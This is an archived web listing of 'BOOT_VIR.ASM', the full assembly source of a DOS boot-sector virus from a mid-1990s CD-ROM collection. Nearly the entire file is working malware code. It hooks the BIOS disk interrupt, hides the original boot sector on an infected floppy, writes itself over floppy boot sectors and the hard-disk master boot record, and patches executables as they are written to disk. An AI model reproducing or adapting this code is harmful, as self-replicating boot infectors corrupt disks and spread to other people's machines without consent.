home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BOOT_VIR.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  6KB  |  316 lines

  1. ;██████████████████████████████████████████████████████████████████████████
  2. ;██                                                     ██
  3. ;██                BOOT_VIR                                 ██
  4. ;██                                                     ██
  5. ;██      Created:   9-Jul-93        Comments by  Mike M.             ██
  6. ;██                                                     ██
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. Int60_Offset    equ    180h
  10. Int60_Segment    equ    182h
  11. main_ram_size_    equ    413h
  12. d_0000_07B4_e    equ    7B4h            ;*
  13.  
  14. seg_a        segment    byte public
  15.         assume    cs:seg_a, ds:seg_a
  16.  
  17.  
  18.         org    0
  19.  
  20. boot_vir    proc    far
  21.  
  22. start:
  23.         nop
  24.         nop
  25.         nop
  26.         cli
  27.         xor    ax,ax
  28.         mov    ds,ax
  29.         mov    ss,ax
  30.         mov    sp,7C00h
  31.         mov    si,sp
  32.         sti
  33.         mov    ax,ds:main_ram_size_
  34.         dec    ax
  35.         mov    ds:main_ram_size_,ax
  36.         mov    cl,6
  37.         shl    ax,cl
  38.         push    ax
  39.         mov    es,ax
  40.         mov    cx,200h
  41.         xor    di,di
  42.         rep    movsb
  43.         mov    ax,2Eh
  44.         push    ax
  45.         retf
  46.  
  47. SectorNum    db    2                  ; Location
  48. Cylinder    db    27h                ; of original
  49. Drive        db    0                  ; boot sector
  50. Side        db    0                  ; on infected disk
  51.  
  52. boot_vir    endp
  53.  
  54. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  55. ;                              SUBROUTINE
  56. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  57.  
  58. main        proc    near
  59.         mov    ax,word ptr ds:[4Ch]
  60.         mov    word ptr ds:[180h],ax
  61.         mov    ax,word ptr ds:[4Eh]
  62.         mov    word ptr ds:[182h],ax
  63.         cli
  64.         mov    ax,78h
  65.         mov    word ptr ds:[4Ch],ax
  66.         mov    word ptr ds:[4Eh],es
  67.         mov    word ptr ds:[188h],ax
  68.         mov    word ptr ds:[18Ah],es
  69.         mov    byte ptr ds:[187h],0EAh
  70.         sti
  71.         push    ds
  72.         push    cs
  73.         pop    ds
  74.         mov    cx,word ptr SectorNum
  75.         mov    dx,word ptr Drive
  76.         cmp    Drive,0
  77.         jne    loc_006D
  78.         push    dx
  79.         push    cx
  80.         xor    bx,bx
  81.         call    sub_019F
  82.         pop    cx
  83.         pop    dx
  84. loc_006D:
  85.         mov    ax,201h
  86.         pop    es
  87.         mov    bx,sp
  88.         push    es
  89.         push    bx
  90.         int    60h            ; original Int 13h
  91.         retf
  92. main        endp
  93.  
  94.  
  95. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  96. ;                              SUBROUTINE
  97. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  98.  
  99. In13_Handler    proc    near
  100.         cmp    ah,2
  101.         jne    loc_00B9
  102.         cmp    dl,80h
  103.         jae    loc_008A
  104.         cmp    ch,1
  105.         ja    loc_008A
  106.         call    sub_00CF
  107. loc_008A:
  108.         cmp    cx,1
  109.         jne    loc_00CA
  110.         cmp    dh,0
  111.         jne    loc_00CA
  112.         int    60h            ; original Int 13h
  113.         jnc    loc_009B
  114.  
  115. loc_ret_0098:
  116.         retf    2
  117. loc_009B:
  118.         cmp    word ptr es:[bx],9090h
  119.         jne    loc_ret_0098
  120.         push    dx
  121.         push    cx
  122.         push    ax
  123.         pushf
  124.         mov    ax,201h
  125.         mov    cx,es:[bx+2Ah]
  126.         mov    dx,es:[bx+2Ch]
  127.         int    60h            ; original Int 13h
  128.         popf
  129.         pop    ax
  130.         pop    cx
  131.         pop    dx
  132.         jmp    short loc_ret_0098
  133. loc_00B9:
  134.         cmp    ah,3
  135.         jne    loc_00CA
  136.         cmp    al,2
  137.         jb    loc_00CA
  138.         cmp    dl,80h
  139.         jae    loc_00CA
  140.         call    sub_0140
  141. loc_00CA:
  142.         int    60h            ; original Int 13h
  143.         retf    2
  144. In13_Handler    endp
  145.  
  146.  
  147. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  148. ;                              SUBROUTINE
  149. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  150.  
  151. sub_00CF    proc    near
  152.         push    es
  153.         push    ax
  154.         push    bx
  155.         push    cx
  156.         push    dx
  157.         mov    al,1
  158.         mov    cx,1
  159.         mov    dh,0
  160.         int    60h            ; original Int 13h
  161.         jc    loc_011D
  162.         cmp    word ptr es:[bx],9090h
  163.         je    loc_011D
  164.         mov    ax,es:[bx+13h]
  165.         push    dx
  166.         xor    dx,dx
  167.         div    word ptr es:[bx+18h]
  168.         shr    ax,1
  169.         dec    al
  170.         pop    dx
  171.         mov    dh,0
  172.         mov    cl,2
  173.         mov    ch,al
  174.         mov    ax,301h
  175.         int    60h            ; original Int 13h
  176.         jc    loc_011D
  177.         mov    cs:Cylinder,ch
  178.         mov    word ptr cs:Drive,0
  179.         xor    bx,bx
  180.         push    cs
  181.         pop    es
  182.         mov    ax,301h
  183.         mov    cx,1
  184.         mov    dh,0
  185.         int    60h            ; original Int 13h
  186. loc_011D:
  187.         call    sub_0126
  188.         pop    dx
  189.         pop    cx
  190.         pop    bx
  191.         pop    ax
  192.         pop    es
  193.         retn
  194. sub_00CF    endp
  195.  
  196.  
  197. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  198. ;                              SUBROUTINE
  199. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  200.  
  201. sub_0126    proc    near
  202.         push    ds
  203.         xor    bx,bx
  204.         mov    ds,bx
  205.         mov    bx,d_0000_07B4_e
  206.         cmp    word ptr [bx],78h
  207.         jne    loc_013E
  208.         cli
  209.         mov    word ptr [bx],1187h
  210.         mov    word ptr [bx+2],0FF00h
  211.         sti
  212. loc_013E:
  213.         pop    ds
  214.         retn
  215. sub_0126    endp
  216.  
  217.  
  218. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  219. ;                              SUBROUTINE
  220. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  221.  
  222. sub_0140    proc    near
  223.         cmp    byte ptr es:[bx],0E9h
  224.         jne    loc_ret_016B
  225.         cmp    word ptr es:[bx+1],5000h
  226.         jb    loc_ret_016B
  227.         push    ds
  228.         push    si
  229.         push    di
  230.         push    cx
  231.         mov    di,bx
  232.         push    cs
  233.         pop    ds
  234.         xor    si,si
  235.         mov    cx,200h
  236.         rep    movsb
  237.         mov    byte ptr es:[bx],0E9h
  238.         mov    word ptr es:[bx+1],169h
  239.         pop    cx
  240.         pop    di
  241.         pop    si
  242.         pop    ds
  243.  
  244. loc_ret_016B:
  245.         retn
  246. sub_0140    endp
  247.  
  248.  
  249. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  250. ;                              SUBROUTINE
  251. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  252.  
  253. sub_016C    proc    near
  254.         call    sub_016F
  255.  
  256. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  257.  
  258. sub_016F:
  259.         pop    bx
  260.         push    cs
  261.         pop    es
  262.         sub    bx,16Fh
  263.         mov    byte ptr cs:[bx],90h
  264.         mov    word ptr cs:[bx+1],9090h
  265.         xor    ax,ax
  266.         mov    ds,ax
  267.         cmp    word ptr ds:d_0000_07B4_e,1187h
  268.         je    loc_019B
  269.         les    di,dword ptr ds:d_0000_07B4_e
  270.         mov    ds:Int60_Offset,di
  271.         mov    ds:Int60_Segment,es
  272.         call    sub_019F
  273. loc_019B:
  274.         mov    ah,4Ch
  275.         int    21h
  276.  
  277. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  278.  
  279. sub_019F:
  280.         mov    ax,201h
  281.         push    bx
  282.         push    ax
  283.         mov    cx,1
  284.         mov    dx,80h
  285.         add    bx,200h
  286.         int    60h            ; original Int 13h
  287.         pop    ax
  288.         jc    loc_01D4
  289.         cmp    word ptr es:[bx],9090h
  290.         je    loc_01D4
  291.         inc    ah
  292.         push    ax
  293.         inc    cl
  294.         int    60h            ; original Int 13h
  295.         pop    ax
  296.         jc    loc_01D4
  297.         pop    bx
  298.         mov    byte ptr es:[bx+2Ch],80h
  299.         mov    byte ptr es:[bx+2Bh],0
  300.         dec    cl
  301.         int    60h            ; original Int 13h
  302.         retn
  303. loc_01D4:
  304.         pop    bx
  305.         retn
  306. sub_016C    endp
  307.  
  308.         db    40 dup (90h)
  309.         db     55h,0AAh
  310.  
  311. seg_a        ends
  312.  
  313.  
  314.  
  315.         end    start
  316.